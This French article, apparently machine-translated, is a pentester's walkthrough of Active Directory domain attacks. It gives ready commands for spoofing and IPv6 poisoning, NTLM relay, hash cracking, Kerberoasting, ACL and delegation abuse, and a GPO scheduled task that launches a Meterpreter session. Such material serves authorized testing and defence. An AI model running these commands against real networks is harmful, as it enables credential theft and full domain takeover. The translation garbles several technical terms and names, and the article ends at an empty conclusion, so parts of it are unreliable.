Attaques de domaine


Lors de tests de pénétration, nous détectons assez souvent des erreurs dans la configuration du domaine. Bien que cela ne semble pas critique pour beaucoup, en réalité, de telles inexactitudes peuvent compromettre l'ensemble du domaine.

Par exemple, selon les résultats du pentest dans une entreprise, nous sommes arrivés à la conclusion que toutes les machines disponibles dans le domaine n'étaient pas inférieures à Windows10 / Windows Server2016, et qu'ils avaient tous les derniers correctifs sur eux. Le réseau était régulièrement scanné, les machines étaient dures. Tous les utilisateurs se sont assis à travers des jetons et ne connaissaient pas leurs "mots de passe de 20 caractères". Tout semble aller bien, mais IPv6 n'a pas été désactivé. Le schéma de capture de domaine ressemblait à ceci:

mitm6 -> ntlmrelay -> attaque par délégation -> le hachage du mot de passe administrateur local est reçu -> le hachage du mot de passe administrateur du domaine est reçu.

Malheureusement, les certifications populaires telles que OSCP, GPEN ou CEH n'enseignent pas les tests de pénétration d'Active Directory.

Dans cet article, nous examinerons plusieurs types d'attaques Active Directory que nous avons effectuées dans le cadre de pentests, ainsi que les outils utilisés. Cela ne peut en aucun cas être considéré comme un guide complet pour tous les types d'attaques et d'outils, il y en a vraiment beaucoup, et il est difficile de s'intégrer dans un seul article.

Donc, pour la démonstration, nous utilisons un ordinateur portable sur Kali Linux 2019 et les hôtes virtuels élevés sur VMware. Imaginez que l’objectif principal du pentest est d’obtenir les droits d’administrateur de domaine et, en tant qu’entrée, nous avons accès au réseau d’entreprise de l’entreprise via Ethernet. Pour commencer à tester le domaine, nous avons besoin d'un compte.

Obtenir un compte


Considérez les deux méthodes les plus courantes, à mon avis, pour obtenir le login et le mot de passe du compte de domaine: usurpation LLMNR / NBNS et attaque sur le protocole IPv6.

Usurpation LLMNR / NBNS


Beaucoup a été dit sur cette attaque. L'essentiel est que le client envoie des LLMNR multicast et diffuse des requêtes NBT-NS pour résoudre les noms d'hôte si cela n'était pas possible via DNS. Tout utilisateur du réseau peut répondre à de telles demandes.

Outils permettant une attaque:

  • Réponse
  • Inveight
  • Modules Metasploit: auxiliaire / usurpation / llmnr / llmnr_response, auxiliaire / usurpation / nbns / nbns_response,
    auxiliaire / serveur / capture / smb, auxiliaire / serveur / capture / http_ntlm

Avec une attaque réussie, nous pouvons obtenir le hachage NetNTLM du mot de passe de l'utilisateur.

Responder -I eth0 -wrf 



Le hachage résultant, nous pouvons déboguer ou exécuter des relais NTLM.

Attaque IPv6


Si IPv6 est utilisé dans le réseau d'entreprise, nous pouvons répondre aux demandes DHCPv6 et définir notre adresse IP comme serveur DNS sur la machine attaquée. Puisque IPv6 a priorité sur IPv4, les requêtes DNS du client seront envoyées à notre adresse. En savoir plus sur l'attaque ici .

Outils:


Exécution de l'utilitaire mitm6

 mitm6 -i vmnet0 

Une fois l'attaque terminée, un nouveau serveur DNS avec notre adresse IPv6 apparaîtra sur le poste de travail attaqué.



Les machines attaquées tenteront de s'authentifier auprès de notre machine. Après avoir élevé le serveur SMB à l'aide de l'utilitaire smbserver.py , nous pouvons obtenir des hachages de mot de passe utilisateur.

 smbserver.py -smb2support SMB /root/SMB 



Actions de hachage capturées


L'étape suivante consiste soit à effectuer une attaque cryptographique sur les hachages de mot de passe et à obtenir le mot de passe en texte clair, soit à exécuter un relais NTLM.

Force brute du mot de passe


C'est simple: prenez un mot de passe de hachage, hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

et brutus. Le mot de passe peut être obtenu ou non :)


Le mot de passe de l'utilisateur Harvey a été récupéré - Pbvf2019

Relais NTLM


Nous pouvons également exécuter des relais NTLM. Après avoir vérifié que la signature SMB n'est pas utilisée , nous utilisons l'utilitaire ntlmrelayx.py et menons une attaque. Là encore, en fonction de l'objectif, nous sélectionnons le vecteur dont nous avons besoin. Examinons certains d'entre eux.


Accès à la machine attaquée via le protocole SMB


Effectuez une attaque avec la touche i .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



Avec une attaque réussie, nous pouvons nous connecter à la machine distante à l'aide de netcat.



Collecte d'informations sur le domaine


Dans ce cas, nous effectuons le relais vers le contrôleur de domaine.

 ntlmrelayx.py -t ldap://192.168.1.2 

Si l'attaque réussit, nous obtiendrons des informations détaillées sur le domaine:



Ajout d'un nouvel ordinateur au domaine


Par défaut, chaque utilisateur a la possibilité de créer jusqu'à 10 ordinateurs dans le domaine. Pour créer un ordinateur, vous devez exécuter un relais sur un contrôleur de domaine à l'aide du protocole LDAP. La création d'utilisateurs et d'ordinateurs via une connexion LDAP non chiffrée est interdite. De plus, un compte ne peut pas être créé si la connexion via SMB est interceptée.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



Comme vous pouvez le voir sur la figure, nous avons pu créer un ordinateur RORYOTGS $.

Lors de la création de plus de 10 ordinateurs, nous obtenons une erreur de la forme suivante:



En utilisant les informations d'identification d'un ordinateur RORYOTGS $, nous pouvons effectuer des demandes légitimes à un contrôleur de domaine.

Collecte d'informations sur le domaine


Nous avons donc un utilisateur de domaine ou un compte d'ordinateur. Pour continuer les tests, nous devons collecter les informations disponibles pour une meilleure planification des attaques. Considérez certains des outils qui nous aideront à déterminer la recherche des systèmes les plus critiques, à planifier et à exécuter une attaque.

Bloodhound


L'un des outils les plus importants utilisés dans presque tous les tests de pénétration interne. Le projet se développe activement et est complété par de nouvelles fonctionnalités.

Informations collectées par Bloodhound
  • Groupe - Effectue la collecte des membres du groupe
  • LocalAdmin - Effectue la collecte d'administration locale
  • RDP - Effectue la collecte d'utilisateurs de bureau à distance
  • DCOM - Effectue la collecte des utilisateurs COM distribués
  • GPOLocalGroup - Effectue une collecte d'administration locale à l'aide d'objets de stratégie de groupe
  • Session - Effectue la collecte de session
  • ComputerOnly - Effectue l'administration locale, RDP, DCOM et la collecte de sessions
  • LoggedOn - Effectue la collecte de sessions privilégiées (nécessite des droits d'administrateur sur les systèmes cibles)
  • Approbations - Effectue l'énumération d'approbation de domaine
  • ACL - Effectue la collecte des ACL
  • Conteneur - Effectue la collecte des conteneurs;
  • DcOnly - Effectue la collecte à l'aide de LDAP uniquement. Comprend Group, Trusts, ACL, ObjectProps, Container et GPOLocalGroup
  • Tout - Exécute toutes les méthodes de collecte sauf GPOLocalGroup et LoggedOn
  • Rechercher dans la forêt - Rechercher tous les domaines de la forêt au lieu de votre domaine actuel
  • Domaine - Recherchez un domaine particulier. Utilise votre domaine actuel s'il est nul (par défaut: nul)
  • Stealth - Exécute des méthodes de collecte furtive. Toutes les options furtives sont à filetage unique
  • SkipGCDeconfliction - Ignore la déconfliction du catalogue global pendant l'énumération de session. Cela peut accélérer l'énumération, mais entraînera de possibles inexactitudes dans les données
  • ExcludeDc - Exclut les contrôleurs de domaine de l'énumération (évite les drapeaux Microsoft ATA)
  • ComputerFile - Spécifiez un fichier à partir duquel charger les noms / adresses IP des ordinateurs
  • OU - Spécifiez l'unité d'organisation à énumérer


Les collecteurs d'informations sont SharpHound.exe (nécessite l'installation de .NET v3.5) et le script SharpHound.ps1 écrit en PowerShell. Il existe également un compilateur écrit par un développeur Python tiers, Bloodhound-python .

En tant que base de données, Neo4j est utilisé, qui a sa propre syntaxe, qui vous permet d'effectuer des requêtes personnalisées. Vous pouvez en savoir plus sur la syntaxe ici .

Hors de la boîte 12 demandes sont disponibles
  • Trouver tous les administrateurs de domaine
  • Trouver les chemins les plus courts vers les administrateurs de domaine
  • Rechercher des principaux avec des droits DCSync
  • Utilisateurs avec appartenance à un groupe de domaine étranger
  • Groupes avec appartenance à un groupe de domaine étranger
  • Mapper les approbations de domaine
  • Chemins les plus courts vers des systèmes de délégation sans contrainte
  • Chemins les plus courts des utilisateurs Kerberoastable
  • Chemins les plus courts vers les administrateurs de domaine à partir d'utilisateurs Kerberoastable
  • Chemin le plus court depuis les principaux propriétaires
  • Chemins les plus courts vers les administrateurs de domaine à partir des principaux propriétaires
  • Chemins les plus courts vers des cibles de grande valeur


Les développeurs fournissent également le script DBCreator.py , qui vous permet de générer une base de données aléatoire pour les tests.



Neo4j possède une API REST. Il existe différents utilitaires qui peuvent se connecter à la base de données et utiliser les données reçues:


Examinons certains d'entre eux.

Cypherdog


CypherDog est un shell BloodHound écrit en PowerShell. Comprend 27 applets de commande.

Liste des applets de commande
CmdletSynopsis
Get-BloodHoundCmdletBloodHound RTFM - Obtenir la cmdlet
Send-bloodhoundpostBloodHound POST - Cypher to REST API
Get-BloodHoundNodeBloodHound Node - Obtenir le nœud
Search-BloodHoundNodeNœud BloodHound - Nœud de recherche
New-BloodHoundNodeBloodHound Node - Créer un nœud
Set-bloodhoundnodeNœud BloodHound - Nœud de mise à jour
Remove-BloodHoundNodeBloodHound Node - Supprimer le nœud
Get-BloodHoundNodeListBloodHound Node - Obtenir la liste
Get-BloodHoundNodeHighValueBloodHound Node - Obtenez une valeur élevée
Get-BloodHoundNodeOwnedBloodHound Node - Devenez propriétaire
Get-BloodHoundNodeNoteBloodHound Node - Get Note
Set-BloodHoundNodeNoteBloodHound Node - Définir des notes
Get-BloodHoundBlacklistBloodHound Node - Obtenir la liste noire
Set-BloodHoundBlacklistBloodHound Node - Définir la liste noire
Remove-BloodHoundBlacklistBloodHound Node - Supprimer la liste noire
Get-BloodHoundEdgeBloodHound Edge - Get Target
Get-BloodHoundEdgeReverseBloodHound Edge - Get Source
Get-BloodHoundEdgeCrossDomainBloodHound Edge - Obtenez CrossDomain
Get-BloodHoundEdgeCountBloodHound Edge - Get Count
Get-BloodHoundEdgeInfoBloodHound Edge - Obtenir des informations
New-BloodHoundEdgeBloodHound Edge - Créer un bord
Remove-BloodHoundEdgeBloodHound Edge - Supprimer un bord
Get-BloodHoundPathShortBloodHound Path - Obtenez le plus court
Get-BloodHoundPathAnyBloodHound Path - Obtenez tout
Get-BloodHoundPathCostBloodHound Path - Obtenez le coût
Get-BloodHoundPathCheapBloodHound Path - Obtenez le moins cher
Get-BloodHoundWald0IOBloodHound Path - Obtenez l'index Wald0


Exemples d'utilisation
L'équipeLa description
Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -Value $ true | sélectionner un nom, Serviceprincipalnames, unconstraineddelegation, operatingsystem | Format-listRechercher des ordinateurs avec une délégation Kerberos illimitée
Utilisateur Edge ADMINISTRATOR@JET.LAB MemberOf GroupListe des groupes d'utilisateurs
Quel ordinateur possède une session ADMINISTRATOR@JET.LABRépertorier les ordinateurs sur lesquels se trouve une session utilisateur Administrateur
Utilisateur de chemin d'accès Ordinateur HARVEY@JET.LAB DC1.JET.LABImprimer le chemin de l'utilisateur vers le contrôleur de domaine
quel utilisateur MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | ouvrir une sessionRépertorier les sessions utilisateur actives qui sont membres du groupe Administrateurs DOMAIN
quel utilisateur MemberOf Group 'DOMAIN ADMINS@JET.LAB' | ouvrir une session |? operat * -match 7 | list AdminTo | sélectionner un nomRépertorier les utilisateurs disposant de droits d'administrateur sur les postes de travail exécutant Windows 7 disposant d'une session d'utilisateurs du groupe d'administrateurs de domaine


Par défaut, une authentification est requise pour accéder à la base de données neo4j. Vous pouvez désactiver l'authentification en modifiant le fichier neo4j.conf. Il doit décommenter la ligne dbms.security.auth_enabled = false. Mais ce n'est pas recommandé, car tout utilisateur peut se connecter à la base de données à 127.0.0.1:7474 (la configuration par défaut). Vous pouvez en savoir plus sur l'authentification et l'autorisation dans neo4j ici.

Gofetch


GoFetch utilise un graphique créé dans Bloodhound pour planifier et exécuter une attaque.

Exemple de graphique Bloodhound


Logique GoFetch


Lancement d'attaque

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

gt-generator


gt-generator , utilisant les données BloodHound, facilite la création de tickets d'or. Pour recevoir un ticket d'or, seuls le hachage du nom d'utilisateur et du mot de passe de l'utilisateur KRBTGT sont requis.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



Powerview


PowerView est un framework Powershell inclus avec PowerSploit . Voici une liste de certaines applets de commande qui peuvent vous aider à collecter des informations sur un domaine.

Liste des applets de commande
Get-NetDomain -Domain jet.labObtenez le domaine actuel
Get-domainSIDObtenez le SID actuel du domaine
Get-NetDomainController -Domain jet.labObtenir des contrôleurs de domaine pour un domaine
Get-NetUser -Domain jet.lab -UserName labuserObtenez les utilisateurs d'un domaine
Get-NetGroup * nom_groupe *Obtenez tous les groupes du domaine actuel
Get-NetGroupMember -GroupName "Administrateurs de domaine"Obtenez tous les membres du groupe Admins du domaine
Get-NetGroup -UserName "utilisateur_domaine"Obtenir l'appartenance à un groupe pour un utilisateur
Get-NetComputer -FullDataObtenez tous les ordinateurs du domaine
Find-LocalAdminAccess -VerboseRechercher toutes les machines du domaine actuel où l'utilisateur actuel a un accès administrateur local
Get-NetSession -ComputerName dc02.jet.labListe des sessions sur un ordinateur particulier
Invoke-UserHunter -CheckAccessRechercher les ordinateurs sur lesquels un administrateur de domaine est connecté et où l'utilisateur actuel a accès


Adidnsdump


Lors de l'utilisation du DNS intégré dans Active Directory, tout utilisateur de domaine peut interroger tous les enregistrements DNS par défaut.

Outil utilisé: Adidnsdump.



Attaques de domaine


Maintenant que nous avons les informations sur le domaine, nous passons à la prochaine phase des tests de pénétration - directement à l'attaque. Considérons 4 vecteurs potentiels:

  1. Torréfaction
  2. Attaque via ACL
  3. Délégation Kerberos
  4. Abus des autorisations de GPO


Torréfaction


Ce type d'attaque cible le protocole Kerberos. Il existe 2 types d'attaque comme la torréfaction:

  • Kerberoast
  • Asreproast

Kerberoast


L'attaque a été démontrée pour la première fois par l'utilisateur timmedin à DerbyCon en 2014 ( vidéo ). Avec une attaque réussie, nous pourrons trier le mot de passe de l'échographie du service en mode hors ligne, sans crainte de bloquer l'utilisateur. Très souvent, les comptes de service ont des droits excessifs et un mot de passe perpétuel, ce qui peut nous permettre d'obtenir des droits d'administrateur de domaine.
Pour comprendre l'essence de l'attaque, réfléchissez au fonctionnement de Kerberos.



1. Le mot de passe est converti en un hachage NTLM, l'horodatage est chiffré avec un hachage et envoyé à KDC en tant qu'authentificateur dans la demande de ticket TGT (AS-REQ). Le contrôleur de domaine (KDC) vérifie les informations utilisateur et crée un ticket TGT.

2. Le ticket TGT est crypté, signé et envoyé à l'utilisateur (AS-REP). Seul le service Kerberos (KRBTGT) peut ouvrir et lire les données d'un ticket TGT.

3. L'utilisateur soumet le ticket TGT au contrôleur de domaine à la demande du ticket TGS (TGS-REQ). Le contrôleur de domaine ouvre un ticket TGT et vérifie la somme de contrôle PAC.

4. Le ticket TGS est crypté avec le hachage NTLM du mot de passe du compte de service et est envoyé à l'utilisateur (TGS-REP).

5. L'utilisateur fournit un ticket TGS à l'ordinateur sur lequel le service s'exécute (AP-REQ). Le service ouvre un ticket TGS à l'aide de son hachage NTLM.

6. L'accès au service est fourni (AS-REP).

Après avoir reçu un ticket TGS (TGS-REP), nous pouvons trouver le mot de passe pour le compte de service hors ligne. Par exemple, en utilisant hashcat.

Selon la RFC396 , 20 types de cryptage sont réservés au protocole Kerberos. Les types de cryptage utilisés actuellement, par ordre de priorité:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

Dans les versions récentes de Windows, le cryptage AES est utilisé par défaut. Mais pour la compatibilité avec les systèmes sous les serveurs Windows Vista et Windows 2008, la prise en charge de l'algorithme RC4 est requise. Lors d'une attaque, une tentative est toujours effectuée pour obtenir un ticket TGS avec le cryptage RC4_HMAC_MD5, ce qui permet de trier les mots de passe plus rapidement, puis avec le reste. Harmj0y a mené une étude intéressante et a découvert que si les propriétés des utilisateurs spécifient la prise en charge du chiffrement uniquement Kerberos AES128 et AES256, un ticket Kerberos est toujours émis avec le chiffrement RC4_HMAC_MD5.



La désactivation de RC4_HMAC_MD5 est nécessaire au niveau du domaine.

L'attaque Kerberoasting a 2 approches.

1. L'ancienne méthode. Les tickets TGS sont demandés via setspn.exe ou .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken de la classe Powershell, récupérés de la mémoire à l'aide de mimikatz, puis convertis au format souhaité (John, Hashcat) et triés.

2. La nouvelle méthode. machosec a remarqué que la classe KerberosRequestorSecurityToken a une méthode GetRequest , qui extrait la partie chiffrée avec un mot de passe d'un ticket TGS.

Outils pour mener une attaque:

1) Rechercher des enregistrements SPN


2) Demander un ticket TGS

  • setspn.exe (utilitaire Windows natif)
  • Demande de ticket via PowerShell

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Request-SPNTicket

Vous pouvez afficher les tickets actuellement mis en cache à l'aide de la commande klist.

Enregistrements SPN communs
  • TERMSRV - Bureau à distance
  • SmtpSVC et SMTP - Courrier
  • WSMAN - WinRM
  • ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
  • POP / POP3 - Service postal POP3
  • IMAP / IMAP4 - Service de messagerie IMAP
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - Serveur de base de données MongoDB
  • DNS - serveur DNS
  • HTTP, WWW - Serveur Web
  • LDAP - LDAP
  • FTP - Serveur FTP


3) Exportation de billets:



Un exemple d'exécution automatisée des 3 points:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


La vulnérabilité est que la pré-authentification Kerberos est désactivée. Dans ce cas, nous pouvons envoyer des demandes AS-REQ à un utilisateur dont la pré-authentification Kerberos est désactivée et obtenir la partie chiffrée avec un mot de passe.



La vulnérabilité est rare, car la désactivation de la pré-authentification n'est pas le paramètre par défaut.

Recherche d'utilisateurs avec l'authentification Kerberos désactivée:

  • Powerview

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • Module Active Directory

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

Obtenir la partie cryptée:



Attaque via ACL


Une ACL dans un contexte de domaine est un ensemble de règles qui définissent les droits d'accès des objets dans AD. Une ACL peut être configurée pour un seul objet (par exemple, un compte d'utilisateur) ou pour une unité d'organisation, par exemple, l'unité d'organisation. Lorsque vous configurez l'ACL sur l'unité d'organisation, tous les objets de l'unité d'organisation hériteront de l'ACL. Les ACL contiennent des entrées de contrôle d'accès (ACE) qui déterminent comment le SID interagit avec l'objet Active Directory.

Par exemple, nous avons trois groupes: A, B, C, où le groupe C est membre du groupe B et le groupe B est membre du groupe A. Lorsque vous ajoutez un invité au groupe C, l'invité sera non seulement membre du groupe C, mais aussi un membre indirect des groupes B et A. Lors de l'ajout de l'accès à un objet de domaine au groupe A, l'utilisateur invité aura également accès à cet objet. Dans une situation où l'utilisateur est un membre direct d'un seul groupe et que ce groupe est un membre indirect des 50 autres groupes, il est facile de perdre la connexion des autorisations héritées.

Vous pouvez récupérer les ACL associées à l'objet en exécutant la commande suivante

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

Vous pouvez utiliser l'outil pour exploiter les erreurs de configuration ACL.
Invoke-ACLPwn . Le script Powershell collecte des informations sur toutes les listes de contrôle d'accès dans le domaine à l'aide du collecteur BloodHound, SharpHound, et crée une chaîne pour obtenir l'autorisation writeDACL. Une fois la chaîne créée, le script exécute chaque étape de la chaîne. L'ordre du script:

  1. L'utilisateur est ajouté aux groupes nécessaires.
  2. Deux ACE (réplication des modifications de répertoire et réplication des modifications de répertoire TOUT) sont ajoutées aux ACL de l'objet de domaine.
  3. Si vous avez des droits sur DCSync à l'aide de l'utilitaire Mimikatz, le hachage du mot de passe de l'utilisateur krbtgt est demandé (paramètre par défaut).
  4. Une fois l'opération terminée, le script supprime tous les groupes et entrées ACE ajoutés dans l'ACL.

Le script vise uniquement à utiliser les autorisations writeDACL. Les droits d'accès suivants peuvent également intéresser un attaquant:

  • ForceChangePassword. Droits de modifier le mot de passe utilisateur lorsque le mot de passe actuel n'est pas connu. Fonctionnement avec PowerSploit - Set-DomainUserPassword.
  • AddMembers. Droits d'ajouter des groupes, des ordinateurs et des utilisateurs à des groupes. Fonctionnement avec PowerSploit - Add-DomainGroupMember.
  • GenericWrite Droits de modifier les attributs d'un objet. Par exemple, modifiez la valeur du paramètre scriptPath. La prochaine fois que l'utilisateur se connecte au système, le fichier spécifié démarre. Fonctionnement avec PowerSploit - Set-DomainObject.
  • WriteOwner. Droits de changer le propriétaire de l'objet. Fonctionnement avec PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. Droits d'ajouter des utilisateurs à des groupes, de modifier les mots de passe des utilisateurs, etc. Fonctionnement avec PowerSploit - Set-DomainUserPassword ou Add-DomainGroupMember.

Fonctionnement:


À partir d'une machine qui se trouve dans un domaine

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

À partir d'une machine qui n'est pas dans un domaine

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • aclpwn.py est un outil similaire écrit en Python

Délégation Kerberos


La délégation d'autorité Kerberos vous permet de réutiliser les informations d'identification de l'utilisateur final pour accéder aux ressources hébergées sur un autre serveur.

La délégation Kerberos peut être de trois types:

  1. Illimité (délégation sans contrainte). La seule option de délégation avant Windows Server 2003
  2. Délégation restreinte depuis Windows Server 2003
  3. Délégation contrainte basée sur les ressources Introduit dans Windows Server 2012

Délégation illimitée


Dans le composant logiciel enfichable Active Directory, la fonction de délégation illimitée activée est la suivante:



Pour plus de clarté, considérez comment la délégation illimitée se produit sur un diagramme.



  1. Le mot de passe utilisateur est converti en hachage ntlm. L'horodatage est chiffré avec ce hachage et envoyé au contrôleur de domaine pour demander un ticket TGT.
  2. Le contrôleur de domaine vérifie les informations sur l'utilisateur (restriction de connexion, appartenance à des groupes, etc.), crée un ticket TGT et l'envoie à l'utilisateur. Le ticket TGT est crypté, signé et seul krbtgt peut lire ses données.
  3. L'utilisateur demande un ticket TGS pour accéder au service Web sur le serveur Web.
  4. Le contrôleur de domaine fournit un ticket TGS.
  5. L'utilisateur envoie des tickets TGT et TGS au serveur Web.
  6. Le compte de service du serveur Web utilise le ticket TGT de l'utilisateur pour demander un ticket TGS pour accéder au serveur de base de données.
  7. Le compte de service se connecte au serveur de base de données en tant qu'utilisateur.

Le principal danger d'une délégation illimitée est que lorsqu'une machine avec une délégation illimitée est compromise, un attaquant pourra obtenir des tickets TGT d'utilisateurs de cette machine et accéder à n'importe quel système du domaine au nom de ces utilisateurs.

Rechercher des machines dans un domaine avec délégation illimitée:

  • Powerview

     Get-NetComputer -unconstrained 
  • Module Active Directory

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

Exportation de ticket:

  • Utilisation de mimikatz. sekurlsa :: tickets / exportation
  • Vous pouvez également effectuer une attaque Pass-The-ticket.

      kerberos::ptt C:\tickets\. 



Délégation limitée


Le mode de délégation limitée vous permet d'accéder uniquement aux services autorisés et sur une machine spécifique. Dans le composant logiciel enfichable Active Directory, cela ressemble à ceci:



Avec une délégation limitée, 2 extensions de protocole Kerberos sont utilisées:

  • S4uself
  • S4UProxy

S4U2Self est utilisé lorsque le client ne s'authentifie pas à l'aide de Kerberos.

Pour une délégation illimitée, TGT est utilisé pour identifier l'utilisateur, auquel cas l'extension S4U utilise la structure PA-FOR-USER comme nouveau type dans le champ de données padata / pré-authentification. Le processus S4U2self n'est autorisé que si l'utilisateur demandeur a le champ TRUSTED_TO_AUTH_FOR_DELEGATION défini dans son userAccountControl.



S4U2Proxy permet au compte de service d'utiliser le ticket de redirection reçu dans le processus S4U2proxy pour demander un ticket TGS pour l'accès aux services autorisés (msds-allowtodelegateto). KDC vérifie si le service demandé est spécifié dans le champ msds-allowtodelegateto de l'utilisateur demandeur et émet un ticket si la vérification réussit. Ainsi, la délégation est «limitée» à des services cibles spécifiques.



Vous pouvez rechercher des ordinateurs et des utilisateurs dans un domaine de délégation limité à l'aide de PowerView .

Recherche d'ordinateurs avec délégation illimitée

 Get-DomainComputer -TrustedtoAuth 

Recherche d'utilisateurs à délégation limitée

 Get-DomainUser -TrustedtoAuth 

Pour mener une attaque, nous avons besoin d'un mot de passe ouvert, d'un hachage de mot de passe NTLM ou d'un ticket TGT.



Délégation limitée basée sur les ressources


Comme pour la délégation régulière, des extensions S4U sont utilisées. Étant donné que la délégation basée sur les ressources est principalement une délégation limitée, les attaques qui concernent la délégation limitée régulière sont également disponibles ici. La seule différence est que dans une délégation limitée simple, le service A doit avoir l' attribut msDS-AllowedToDelegateTo = ServiceB, et ici le service B doit avoir l' attribut msDS-AllowedToActOnBehalfOfOtherIdentity = Service A.



Cette propriété permet une attaque supplémentaire publiée par harmj0y. Une attaque nécessite des autorisations pour modifier le paramètre PrincipalsAllowedToDelegateToAccount, qui définit l'attribut msds-AllowedToActOnBehalfOfOtherIdentity, qui contient une liste de contrôle d'accès (ACL). Contrairement à une délégation limitée, nous n'avons pas besoin des droits d'administrateur de domaine pour modifier l'attribut msds-AllowedToActOnBehalfOfOtherIdentity. Vous pouvez savoir qui est autorisé à modifier l'attribut comme suit:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



Donc, pour mener l'attaque, exécutez mitm6

 mitm6 -I vmnet0 

Nous commençons ntlmrelayx avec l'option --delegate-access

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

L'attaque crée un ordinateur ZGXTPVYX $ avec des droits de délégation sur un ordinateur Windows7.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Un bon rapport de délégation a été présenté aux PHDays par Yegor Podmokov.



Abus des autorisations de GPO


Les objets de stratégie de groupe est un outil qui permet aux administrateurs de gérer efficacement un domaine. Mais il se trouve que les utilisateurs se voient attribuer des droits inutiles, y compris pour modifier les stratégies de GPO.

Pour illustrer l'exemple, nous ajouterons à l'utilisateur Ragnar les droits de modification de la stratégie des contrôleurs de domaine par défaut (dans la vie réelle, les droits de cette stratégie ne sont accordés qu'aux administrateurs de domaine, mais l'essence de l'attaque ne change pas; dans le cas d'une autre stratégie, seuls les hôtes contrôlés changent).



Énumérer les droits sur tous les objets de stratégie de groupe du domaine à l'aide de PowerView .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Un utilisateur Ragnar a le droit de modifier un objet de stratégie de groupe dont le GUID est 6AC1786C-016F-11D2-945F-00C04FB984F9. Pour déterminer quels hôtes du domaine appliquent cette stratégie, exécutez la commande suivante

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



Vous avez l'hôte dc1.jet.lab.

Connaissant la politique spécifique que l'utilisateur Ragnar peut modifier et les hôtes auxquels cette politique s'applique, nous pouvons effectuer diverses actions sur l'hôte dc1.jet.lab.

Voici les options d'utilisation de l'objet de stratégie de groupe
Computer Configuration\Preferences\Control Panel Settings\Folder OptionsCreate/alter file type associations, register DDE actions with those associations
Computer Configuration\Preferences\Control Panel Settings\Local Users and GroupsAdd new local admin account
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


Les outils New-GPOImmediateTask et SharpGPOAbuse vous permettent de:

  • Exécuter la tâche dans le planificateur de tâches
  • Ajouter des droits d'utilisateur (SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.)
  • Ajouter un script qui s'exécute après le démarrage
  • Ajouter un utilisateur au groupe local

Par exemple, ajoutez une tâche dans le planificateur de tâches pour obtenir une session Meterpreter:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

Après l'exécution, le test de tâche planifiée



apparaît et une session Meterpreter apparaît.





Pour supprimer une tâche planifiée, vous devez exécuter la commande suivante:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

Conclusions


